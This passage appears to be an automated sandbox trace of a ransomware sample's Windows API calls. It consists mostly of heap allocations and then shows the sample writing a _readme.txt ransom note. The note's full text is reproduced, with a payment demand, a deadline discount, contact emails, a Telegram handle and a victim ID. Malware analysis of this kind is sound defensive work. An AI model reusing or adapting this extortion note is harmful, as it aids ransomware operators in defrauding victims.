returned 1 [0112.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.648] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.649] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.649] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.650] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.650] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.651] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.652] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.652] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.653] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.653] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.653] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.653] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.653] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.653] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.653] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.653] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.653] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.653] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.653] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.653] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.653] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.653] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.653] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.653] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.653] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.653] PathFindFileNameW (pszPath="C:\\Boot\\pl-PL\\") returned="pl-PL\\" [0112.653] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.653] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.653] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.653] PathFindFileNameW (pszPath="") returned="" [0112.653] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.654] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.654] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.654] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.654] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.654] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.654] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.654] PathAppendW (in: pszPath="C:\\Boot\\pl-PL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 1 [0112.654] PathFileExistsW (pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 0 [0112.654] lstrcpyW (in: lpString1=0x331f120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.654] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if 